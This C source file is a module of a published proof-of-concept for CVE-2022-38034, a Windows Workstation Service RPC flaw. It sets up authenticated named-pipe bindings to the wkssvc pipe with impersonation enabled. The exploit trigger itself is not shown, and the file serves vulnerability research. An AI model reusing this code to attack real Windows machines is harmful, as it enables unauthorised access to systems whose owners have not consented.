/* CVE-2022-38034 PoC code
 * Copyright 2022 Akamai Technologies, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in
 * compliance with the License.  You may obtain a copy
 * of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in
 * writing, software distributed under the License is
 * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
 * CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing
 * permissions and limitations under the License.
 */

#include "ms-wkst.h"
#include "defines.h"
#include <stdio.h>


void SetBinding(handle_t handle)
{
    RPC_STATUS rpcStatus;
    RPC_WSTR pszProtSeq = (RPC_WSTR)L"ncacn_np";
    RPC_WSTR pszHostSPN = (RPC_WSTR) HOST_SPN;
    SEC_WINNT_AUTH_IDENTITY_W creds;
    RPC_SECURITY_QOS secQos;

    creds.Domain = DOMAIN;
    creds.DomainLength = wcslen(DOMAIN);
    creds.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
    creds.Password = PASSWORD;
    creds.PasswordLength = wcslen(PASSWORD);
    creds.User = USER;
    creds.UserLength = wcslen(USER);
    
    secQos.Version = RPC_C_SECURITY_QOS_VERSION_1;				
    secQos.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
    secQos.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;			
    secQos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
    //secQos.ImpersonationType = RPC_C_IMP_LEVEL_IDENTIFY;

    //wprintf(L"set bind\n");

    rpcStatus = RpcBindingSetAuthInfoExW(
        handle,
        pszHostSPN,			
        RPC_C_AUTHN_LEVEL_CONNECT,
        RPC_C_AUTHN_WINNT,
        &creds,
        RPC_C_AUTHZ_NAME,
        &secQos
    );
    if (rpcStatus != RPC_S_OK) {
        wprintf(L"SetAuth failed with status: %d.\n", rpcStatus);
        exit(rpcStatus);
    }
}

handle_t __RPC_USER
WKSSVC_IDENTIFY_HANDLE_bind(WKSSVC_IDENTIFY_HANDLE pszSystemName)
{
    static handle_t hBinding = NULL;
    LPWSTR pszStringBinding;
    RPC_STATUS status;

    if (hBinding)
    {
        return hBinding;
    }

    //wprintf(L"WKSSVC IDENTITY bind\n");

    status = RpcStringBindingComposeW(NULL,
        (RPC_WSTR)L"ncacn_np",
        (RPC_WSTR)pszSystemName,
        (RPC_WSTR)L"\\pipe\\wkssvc",
        NULL,
        (RPC_WSTR*)&pszStringBinding);
    if (status)
    {
        wprintf(L"RpcStringBindingCompose returned 0x%x\n", status);
        return NULL;
    }

    /* Set the binding handle that will be used to bind to the server. */
    status = RpcBindingFromStringBindingW((RPC_WSTR)pszStringBinding,
        &hBinding);
    if (status)
    {
        wprintf(L"RpcBindingFromStringBinding returned 0x%x\n", status);
    }

    status = RpcStringFreeW((RPC_WSTR*)&pszStringBinding);
    if (status)
    {
        wprintf(L"RpcStringFree returned 0x%x\n", status);
    }

    SetBinding(hBinding);
    return hBinding;
}


void __RPC_USER
WKSSVC_IDENTIFY_HANDLE_unbind(WKSSVC_IDENTIFY_HANDLE pszSystemName,
    handle_t hBinding)
{
    RPC_STATUS status;

    //wprintf(L"WKSSVC IDENTITY unbind\n");
    return; // we don't want to release the working bind so we get the caching

    status = RpcBindingFree(&hBinding);
    if (status)
    {
        wprintf(L"RpcBindingFree returned 0x%x\n", status);
    }
}

handle_t __RPC_USER
WKSSVC_IMPERSONATE_HANDLE_bind(WKSSVC_IMPERSONATE_HANDLE pszSystemName)
{
    handle_t hBinding = NULL;
    LPWSTR pszStringBinding;
    RPC_STATUS status;

    //wprintf(L"WKSSVC IMPERSONATE bind\n");
    if (hBinding)
    {
        return hBinding;
    }


    status = RpcStringBindingComposeW(NULL,
        (RPC_WSTR)L"ncacn_np",
        (RPC_WSTR)pszSystemName,
        (RPC_WSTR)L"\\pipe\\wkssvc",
        NULL,
        (RPC_WSTR*)&pszStringBinding);
    if (status)
    {
        wprintf(L"RpcStringBindingCompose returned 0x%x\n", status);
        return NULL;
    }

    /* Set the binding handle that will be used to bind to the server. */
    status = RpcBindingFromStringBindingW((RPC_WSTR)pszStringBinding,
        &hBinding);
    if (status)
    {
        wprintf(L"RpcBindingFromStringBinding returned 0x%x\n", status);
    }

    status = RpcStringFreeW((RPC_WSTR*)&pszStringBinding);
    if (status)
    {
        wprintf(L"RpcStringFree returned 0x%x\n", status);
    }

    SetBinding(hBinding);
    return hBinding;
}


void __RPC_USER
WKSSVC_IMPERSONATE_HANDLE_unbind(WKSSVC_IMPERSONATE_HANDLE pszSystemName,
    handle_t hBinding)
{
    RPC_STATUS status;
    //wprintf(L"WKSSVC IMPERSONATE bind");

    status = RpcBindingFree(&hBinding);
    if (status)
    {
        wprintf(L"RpcBindingFree returned 0x%x\n", status);
    }
}